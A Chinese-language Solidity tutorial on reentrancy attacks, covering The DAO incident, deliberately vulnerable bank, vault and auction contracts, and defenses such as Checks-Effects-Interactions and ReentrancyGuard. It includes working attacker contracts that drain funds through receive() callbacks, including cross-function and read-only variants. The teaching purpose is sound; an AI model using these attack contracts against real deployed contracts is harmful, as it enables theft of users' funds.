重入攻击(Reentrancy Attack)是智能合约中最危险和最常见的漏洞之一。历史上最著名的 The DAO 攻击事件就是利用了重入漏洞,导致了价值 6000 万美元的以太币被盗。理解和防范重入攻击是每个 Solidity 开发者必须掌握的技能。
重入攻击是指攻击者利用合约的外部调用,在原函数执行完毕前再次调用该函数或相关函数,从而破坏合约的预期执行流程。
想象这样一个场景:
这就是重入攻击的本质:在状态更新之前重复执行函数。
2016 年 6 月,The DAO 遭受重入攻击,攻击者利用 splitDAO 函数的重入漏洞,盗取了约 360 万个以太币(当时价值约 6000 万美元)。
这次攻击直接导致了以太坊的硬分叉,分裂成 Ethereum (ETH) 和 Ethereum Classic (ETC)。
历史教训: The DAO 攻击是区块链历史上最重大的安全事件之一,它深刻地告诉我们:智能合约的安全性至关重要,一个小的漏洞可能导致灾难性后果。
让我们看一个典型的存在重入漏洞的合约:
pragma solidity ^0.8.0;
// ❌ 危险:存在重入漏洞的合约
contract VulnerableBank {
mapping(address => uint) public balances;
// 存款
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 提款 - 存在重入漏洞!
function withdraw() public {
uint balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
// 危险:先转账,后更新状态
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
// 状态更新在转账之后!
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
攻击者可以这样利用上述漏洞:
pragma solidity ^0.8.0;
interface IVulnerableBank {
function deposit() external payable;
function withdraw() external;
}
// 攻击合约
contract Attacker {
IVulnerableBank public vulnerableBank;
uint public constant DEPOSIT_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = IVulnerableBank(_vulnerableBankAddress);
}
// 发起攻击
function attack() external payable {
require(msg.value >= DEPOSIT_AMOUNT, "Need at least 1 ETH");
// 1. 先存入 1 ETH
vulnerableBank.deposit{value: DEPOSIT_AMOUNT}();
// 2. 开始提款,触发重入
vulnerableBank.withdraw();
}
// 接收 ETH 的回调函数 - 这里是重入的关键!
receive() external payable {
// 如果银行还有余额,继续提款
if (address(vulnerableBank).balance >= DEPOSIT_AMOUNT) {
// 重入:再次调用 withdraw
vulnerableBank.withdraw();
}
}
// 获取攻击所得
function getStolen() public {
payable(msg.sender).transfer(address(this).balance);
}
}
1. 攻击者存入 1 ETH
VulnerableBank.balances[Attacker] = 1 ETH
2. 攻击者调用 withdraw()
├─ 检查余额:1 ETH ✅
├─ 转账 1 ETH 给 Attacker
│ └─ 触发 Attacker.receive()
│ └─ 银行还有钱?是的!
│ └─ 再次调用 withdraw() ⚠️ 重入!
│ ├─ 检查余额:还是 1 ETH ✅ (还没更新)
│ ├─ 再次转账 1 ETH
│ │ └─ 再次触发 receive()
│ │ └─ 继续重入...
│ └─ 直到银行余额不足
└─ 最后才更新状态:balances[Attacker] = 0
⚠️ 关键问题: 漏洞的根本原因是:在转账(外部调用)之后才更新状态(余额清零)。在外部调用期间,合约的状态仍然是旧的,攻击者可以利用这个时间窗口重复调用。
这是最重要的安全模式,要求按照以下顺序编写代码:
pragma solidity ^0.8.0;
// ✅ 安全:使用 Checks-Effects-Interactions 模式
contract SecureBank {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
// 1. Checks - 检查条件
uint balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
// 2. Effects - 先更新状态!
balances[msg.sender] = 0;
// 3. Interactions - 最后才进行外部调用
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
为什么这样安全? 即使攻击者在
receive()中再次调用withdraw(),此时balances[msg.sender]已经是 0 了,require(balance > 0)会失败,攻击被阻止。
OpenZeppelin 提供了一个可重用的重入防护合约。
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
// ✅ 安全:使用 ReentrancyGuard
contract SecureBankWithGuard is ReentrancyGuard {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// nonReentrant 修饰符防止重入
function withdraw() public nonReentrant {
uint balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
// OpenZeppelin ReentrancyGuard 的简化实现
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// 检查是否已经进入
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// 标记为已进入
_status = _ENTERED;
// 执行函数
_;
// 恢复状态
_status = _NOT_ENTERED;
}
}
你也可以实现自己的重入锁:
pragma solidity ^0.8.0;
// ✅ 安全:使用自定义重入锁
contract SecureBankWithLock {
mapping(address => uint) public balances;
bool private locked;
modifier noReentrant() {
require(!locked, "No reentrancy");
locked = true;
_;
locked = false;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public noReentrant {
uint balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
使用 transfer() 或 send() 限制 Gas 为 2300,但这不是可靠的防御方法。
pragma solidity ^0.8.0;
contract GasLimitedBank {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
balances[msg.sender] = 0;
// transfer 限制 Gas 为 2300
// 攻击者的 receive() 函数会因 Gas 不足而失败
payable(msg.sender).transfer(balance);
}
}
为什么不推荐?
- Gas 成本可能改变:EVM 的 opcode 成本在硬分叉后可能改变
- 限制了合法使用:接收方可能是合约,需要执行一些逻辑
- 不是根本解决方案:应该从设计上避免重入,而不是依赖 Gas 限制
重入攻击不仅限于同一个函数,还可能发生在不同函数之间。
pragma solidity ^0.8.0;
// ❌ 危险:跨函数重入
contract CrossFunctionReentrancy {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
// 外部调用,可能触发重入
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
// 后更新状态
balances[msg.sender] = 0;
}
// 另一个函数也依赖 balances
function transfer(address to, uint amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
攻击者可以在 withdraw() 的外部调用中调用 transfer(),此时 balances[msg.sender] 还未清零!
// 攻击合约
contract CrossFunctionAttacker {
CrossFunctionReentrancy public target;
address public accomplice;
constructor(address _target, address _accomplice) {
target = CrossFunctionReentrancy(_target);
accomplice = _accomplice;
}
function attack() external payable {
target.deposit{value: msg.value}();
target.withdraw();
}
receive() external payable {
// 在 withdraw 更新状态前,把余额转给同伙
target.transfer(accomplice, msg.value);
}
}
使用 ReentrancyGuard 保护所有可能被重入的函数:
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
// ✅ 安全:所有函数都加上保护
contract SecureCrossFunctionContract is ReentrancyGuard {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 保护 withdraw
function withdraw() public nonReentrant {
uint balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
}
// 保护 transfer
function transfer(address to, uint amount) public nonReentrant {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
在某些情况下,即使是 view 函数也可能受到重入攻击的影响。
pragma solidity ^0.8.0;
// ❌ 危险:只读重入
contract VulnerableVault {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
// 先转账
(bool success, ) = msg.sender.call{value: balance}("");
require(success);
// 后更新
balances[msg.sender] = 0;
}
// view 函数,用于获取总价值
function getTotalValue() public view returns (uint) {
return address(this).balance;
}
}
// 价格预言机,依赖 vault 的余额
contract PriceOracle {
VulnerableVault public vault;
constructor(address _vault) {
vault = VulnerableVault(_vault);
}
function getPrice() public view returns (uint) {
// 基于 vault 余额计算价格
return vault.getTotalValue() * 100;
}
}
// 攻击者利用只读重入
contract ReadOnlyReentrancyAttacker {
VulnerableVault public vault;
PriceOracle public oracle;
constructor(address _vault, address _oracle) {
vault = VulnerableVault(_vault);
oracle = PriceOracle(_oracle);
}
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw();
}
receive() external payable {
// 在 withdraw 还未更新状态时
// vault.getTotalValue() 返回的还是包含已提款金额的余额
uint manipulatedPrice = oracle.getPrice();
// 利用错误的价格进行套利...
}
}
只读重入的危险: 即使函数只读取状态不修改状态,如果读取的状态是"不一致"的(已转账但未更新),也可能被利用。
在编写合约时,请遵循以下检查清单:
call、transfer、send、外部合约调用)nonReentrant 修饰符call、delegatecall 的使用// 错误:只保护了 withdraw
contract IncompleteProtection {
mapping(address => uint) public balances;
function withdraw() public nonReentrant {
// ...
}
// 忘记保护 transfer!
function transfer(address to, uint amount) public {
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
正确做法:保护所有可能被重入的函数。
// 错误:认为 transfer 的 2300 Gas 限制可以阻止重入
function withdraw() public {
uint balance = balances[msg.sender];
// 先更新状态是更好的选择!
payable(msg.sender).transfer(balance);
balances[msg.sender] = 0;
}
正确做法:先更新状态,不要依赖 Gas 限制。
// 错误:认为 view 函数不需要考虑重入
function getBalance() public view returns (uint) {
// 如果在重入攻击期间调用,返回的可能是不一致的状态
return balances[msg.sender];
}
正确做法:确保状态的一致性,必要时也使用重入保护。
pragma solidity ^0.8.0;
// TODO: 修复这个合约的重入漏洞
contract VulnerableAuction {
mapping(address => uint) public bids;
address public highestBidder;
uint public highestBid;
function bid() public payable {
require(msg.value > highestBid, "Bid too low");
// 退还前一个最高出价
if (highestBidder != address(0)) {
(bool success, ) = highestBidder.call{value: highestBid}("");
require(success, "Refund failed");
}
highestBidder = msg.sender;
highestBid = msg.value;
bids[msg.sender] += msg.value;
}
function withdraw() public {
uint amount = bids[msg.sender];
require(amount > 0, "No bids");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Withdraw failed");
bids[msg.sender] = 0;
}
}
pragma solidity ^0.8.0;
// TODO: 实现一个安全的众筹合约
contract CrowdFunding {
address public owner;
uint public goal;
uint public deadline;
mapping(address => uint) public contributions;
uint public totalContributions;
bool public goalReached;
// TODO: 实现贡献函数
function contribute() public payable {
// 你的代码
}
// TODO: 实现退款函数(如果未达成目标)
function refund() public {
// 你的代码 - 注意防止重入!
}
// TODO: 实现提款函数(项目方提取资金)
function withdraw() public {
// 你的代码 - 注意防止重入!
}
}
重入攻击是智能合约安全中最关键的问题之一。记住以下要点:
Checks-Effects-Interactions 模式:这是防止重入的黄金法则
使用 ReentrancyGuard:OpenZeppelin 提供的可靠保护
全面保护:不仅是提款函数,所有涉及外部调用的函数都要考虑
跨函数重入:攻击可能发生在不同函数之间
只读重入:即使是 view 函数也可能被利用
不要依赖 Gas 限制:这不是可靠的防御方法
使用安全工具:Slither、Mythril 可以帮助发现漏洞
永远记住:在外部调用之前更新状态!